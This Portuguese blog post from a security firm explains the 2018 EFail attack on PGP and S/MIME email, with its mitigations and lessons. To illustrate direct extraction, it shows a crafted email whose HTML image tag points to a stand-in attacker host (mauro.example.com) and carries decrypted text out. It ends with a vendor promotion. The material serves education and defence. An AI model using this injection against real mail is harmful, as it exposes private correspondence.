EFail: Entenda como essa vulnerabilidade funciona

por | jun 14, 2018 | Dicas de Segurança | 0 Comentários

Uma falha de segurança chamada “EFail” foi divulgada em 14 de maio de 2018 por pesquisadores de universidades européias. Essa falha explora principalmente uma vulnerabilidade em aplicações de e-mail cifrado (PGP e S/MIME). Tal falha permite a um atacante ler a mensagem original tendo apenas acesso à mensagem cifrada e a uma vítima executando um software vulnerável.

Neste post explicaremos melhor como essa vulnerabilidade funciona.

O que são o PGP e S/MIME?

Mensagens e arquivos enviados por e-mail não possuem segurança se enviados de modo padrão. Antigamente, todos os e-mails trafegavam em claro, ou seja, sem nenhum mecanismo de segurança para protegê-los. Qualquer atacante era capaz de ler e alterar e-mails em trânsito.

Com o tempo, esquemas como o STARTTLS adicionaram cifração a e-mails, contudo, tal cifração é “ponto-a-ponto”. Essa forma de se proteger dados trafegados não protege as mensagens no servidor de e-mail, ou seja, o administrador do sistema mal intencionado pode ler os e-mails de todas as contas de seu servidor de e-mail.

Considere que Alice envia um e-mail da sua conta do GMail para Beto que possui e-mail no Yahoo:

  • O cliente de e-mail de Alice cifra a mensagem e envia para o servidor do GMail
  • O GMail decifra a mensagem e salva no servidor
  • O GMail recifra a mensagem para o Yahoo e envia para o Yahoo
  • O Yahoo decifra a mensagem e salva no servidor
  • O Yahoo disponibiliza a mensagem para Beto

Claramente existem vários pontos fracos nesse esquema: um funcionário desonesto do GMail ou Yahoo ou um hacker que os tenha invadido são capazes de ler a mensagem em claro.

Por esse motivo é utilizada a cifração fim-a-fim ou “ponta-a-ponta”. Nela, Alice cifra a mensagem diretamente para Beto. Tanto o GMail, Yahoo, ou qualquer outro intermediário é incapaz de decifrar a mensagem.

O S/MIME é um protocolo de e-mail seguro que permite cifração fim-a-fim, bastante utilizado em ambientes corporativos. O PGP é um padrão de arquivos cifrados que também pode ser utilizado em e-mails; a implementação mais conhecida do PGP é o software open-source GPG.

O S/MIME costuma ter suporte nativo em muitos clientes de e-mail, ao passo que o PGP é suportado através de plugins como o Enigmail (para o Thunderbird), GPG4win (Outlook) e GPGTools (Apple Mail).

O ataque

O ataque explora uma combinação entre falhas em clientes de e-mail (ou webmails) e em softwares de cifração de e-mail (padrões PGP ou S/MIME). São inúmeras combinações vulneráveis. Em alguns casos o ataque não exige nenhuma interação com a vítima: basta ela abrir um e-mail. Em outros casos a vítima precisa interagir com o e-mail, clicando nele, por exemplo.

Entre os principais softwares vulneráveis estão:

  • Outlook 2007 e 2010 usando S/MIME ou plugin GPG4win
  • Thunderbird usando S/MIME ou plugin GPG4win
  • Apple Mail usando S/MIME ou plugin GPGTools
  • Mail App do iOS usando S/MIME
  • GMail usando S/MIME

A lista completa está nas páginas finais do artigo descrevendo o ataque.

Como mitigar o ataque?

Pode-se mitigar o ataque desativando o carregamento de imagens e scripts externos no cliente de e-mail e removendo qualquer exceção adicionada previamente. No Thunderbird, tal recurso é desativado por padrão, ao contrário do Apple Mail.

Clientes de e-mail serão atualizados com mitigações adicionais; por esse motivo, é extremamente importante mantê-los atualizados.

Devo parar de usar PGP/GPG ou S/MIME?

Esta e outras falhas anteriores combinadas com a dificuldade de uso destas ferramentas, levam à recomendação de não continuar o uso de PGP/GPG ou S/MIME. Aplicativos de mensagens instantâneas como Signal e WhatsApp são soluções mais fáceis de se utilizar e são mais seguras.

Contudo, PGP/GPG e S/MIME ainda podem ser utilizados se necessário, mas com cautela e devida configuração dos clientes de e-mail. Em particular, recomenda-se o PGP/GPG no lugar do S/MIME, pois este último não fornece nenhum mecanismo para prevenir o ataque EFail, como será descrito adiante.

O que o atacante precisa para realizar o ataque?

O atacante precisa:

Obter um e-mail cifrado. Note que ele pode usar um e-mail cifrado obtido há muito tempo atrás;

Alterar o e-mail cifrado de um forma específica, de acordo com o ataque;

Enviar o e-mail cifrado para um dos destinatários originais da mensagem;

O destinatário deve abrir o e-mail utilizando um cliente vulnerável. Em alguns casos, a vítima também precisa interagir com o e-mail, clicando nele por exemplo.

Como o ataque funciona?

São duas falhas que foram exploradas no ataque.

Extração direta

Na primeira forma, o atacante cria uma nova mensagem que contém no seu meio a mensagem cifrada a ser atacada. Tal maleabilidade é permitida pela maioria dos clientes: a parte cifrada é decifrada e exibida junto com as partes em claro.

A princípio, só isso não cria uma vulnerabilidade, mas alguns clientes juntam as diferentes partes da mensagem ignorando qualquer validação do formato HTML.

Por exemplo, imagine que Alice envia para o Beto a mensagem cifrada: “Minha senha é aH67ko%”, vamos representar essa mensagem cifrada por “TZ9MnPcCmuYAJxkMeyk7”.

O atacante, Mauro, intercepta esse e-mail, monta o seguinte e-mail e o envia para Beto:

Parte 1 (em claro): Prezado Beto, < img src=”http://mauro.example.com/ Parte 2 (cifrada): TZ9MnPcCmuYAJxkMeyk7 Parte 3 (em claro): “> você recebeu minha senha? Alice

O cliente vulnerável do Beto decifra a segunda parte, concatena com as outras duas partes, e exibe o seguinte e-mail no formato HTML:

Prezado Beto, < img src=”http://mauro.example.com/Minha senha é aH67ko%” > você recebeu minha senha? Alice

Alguns clientes, como o Apple Mail, automaticamente carregam a imagem apontada na URL “http://mauro.example.com/Minha senha é aH67ko%”, que contém a senha que Alice enviou. Mauro, que possui controle do servidor “mauro.example.com”, terá acesso à URL que foi acessada e será então capaz de ler a mensagem cifrada de Alice.

Outros clientes, como o Thunderbird, bloqueiam por padrão o carregamento da imagem externa. Contudo, ele exibe uma mensagem para o usuário indicando que o bloqueio aconteceu e permite a ele adicionar uma exceção, ou até mesmo desativar o bloqueio por completo.

Existem outros métodos mais sofisticados de extração de segredo, que não envolvem a tag do HTML. O atacante pode adicionar uma folha de estilos ao e-mail, de forma a exibir um formulário que, quando clicado, envia toda a parte decifrada da mensagem para o servidor do atacante.

Extração explorando maleabilidade

Idealmente, quando uma mensagem é cifrada, ela deve também ser protegida com um código de autenticação de mensagem (MAC). Desta forma, caso ocorra qualquer alteração na mensagem cifrada em trânsito, isso poderá ser detectado pelo destinatário e ele pode descartar a mensagem sem abri-la.

Porém, quando foram criados, tanto o S/MIME e o PGP/GPG não utilizavam MACs, pois naquela época a sua importância não era tão reconhecida.

Isso permite a um atacante alterar uma mensagem cifrada de forma a inserir novos dados ou alterar dados existentes. Desta forma, ele consegue fazer um ataque parecido com o anterior, inserindo uma tag “” logo no início da mensagem de forma que todo o resto da mensagem seja incluído no endereço da imagem, e essa seja carregada por um cliente vulnerável, permitindo ao atacante ler toda a mensagem original.

O PGP/GPG, eventualmente, adicionou um mecanismo parecido com MACs, chamado MDC (código de detecção de modificações). Contudo, devido à forma como o MDC foi especificado dentro do formato PGP, um atacante pode simplesmente remover o MDC ou alterar o tipo da mensagem indicando que ela não é protegida por um MDC. Neste casos, muitos softwares simplesmente emitem um warning que na maioria das vezes é ignorado por clientes de e-mail.

Que lições foram aprendidas?

O EFail explorou uma série de falhas:

Alguns clientes de e-mail permitem mensagens com partes em claro e partes cifradas, juntando-as de forma perigosa;

Alguns clientes de e-mail carregam imagens ou scripts externos, permitindo um atacante extrair pedaços da mensagem decifrada e enviá-los para um servidor de seu controle de forma as mensagens possam ser lidas;

O formato S/MIME não fornece mecanismos para detectar alterações em mensagens cifradas, permitindo a um atacante alterá-la de forma que, quando decifrada, vaze a mensagem para um atacante, explorando as falhas anteriores em clientes de e-mail;

O formato PGP/GPG fornece tal mecanismo, mas ele pode ser facilmente contornado pelo atacante devido à falhas na especificação e no tratamento desse mecanismo.

Por esse motivo, é necessário:

Melhorar a segurança de clientes de e-mail, ativando formas mais robustas de prevenir o carregamentos de imagens e scripts externos;

Robustecer o PGP/GPG de forma que não seja possível ignorar falhas na checagem na autenticação de mensagens;

Atualizar os formatos S/MIME e PGP/GPG de forma a utilizar códigos de autenticação de mensagem, seguindo as boas práticas da criptografia moderna. Infelizmente é uma tarefa que exigirá tempo e coordenação de vários desenvolvedores de software.

Infelizmente muito dos padrões de criptografia utilizados estão parados no tempo, deixando de acompanhar os avanços da área. O fato de ainda hoje em dia ser muito difícil enviar um simples e-mail cifrado de forma segura merece reflexão.

É difícil determinar qual a melhor opção para resolver o problema: atualizar tais formatos e sofrer com questões de compatibilidade e software legado? Criar um novo formato e ter que lutar para que ele seja adotado? Abandonar o uso de e-mail para comunicação segura e utilizar outros mecanismos como aplicativos de mensagens instantâneas como Signal, WhatsApp ou Telegram?

Como pode se perceber, há ainda muito trabalho a ser feito.

Como a Kryptus pode me ajudar?

Para garantir uma comunicação 100% segura a Kryptus pode oferecer serviços customizados de segurança e criptografia para suas comunicações internas. Temos uma vasta expertise dessas soluções, com projetos elaborados para o Estado.

Além disso, podemos ajudar com soluções da nossa Unidade de Cibersegurança, consultoria na definição da estratégia de criptografia da organização. Temos a capacidade de auxiliar na sua estratégia de criptografia e auxiliar no levantamento e na decisão do que precisa ser protegido e como, uma vez que as informações sensíveis vazadas recentemente são, em sua maioria, não criptografadas.

Conrado Gouvêa

Conrado Gouvêa

Desenvolvedor de soluções criptográficas.

Doutor em Ciência da Computação pela Unicamp na implementação eficiente de criptografia.

0 comentários

Enviar um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

CONTACT US

CONTACT US


Rua Maria Tereza Dias da Silva, 270
Cidade Universitária, Campinas-SP - Brasil
CEP 13083-820

fale.conosco@kryptus.com
Tel/Fax +55 (19) 3112 5000

© 2018 - Kryptus | Shaping Trusted Bonds - All rights reserved. - Developed by DDID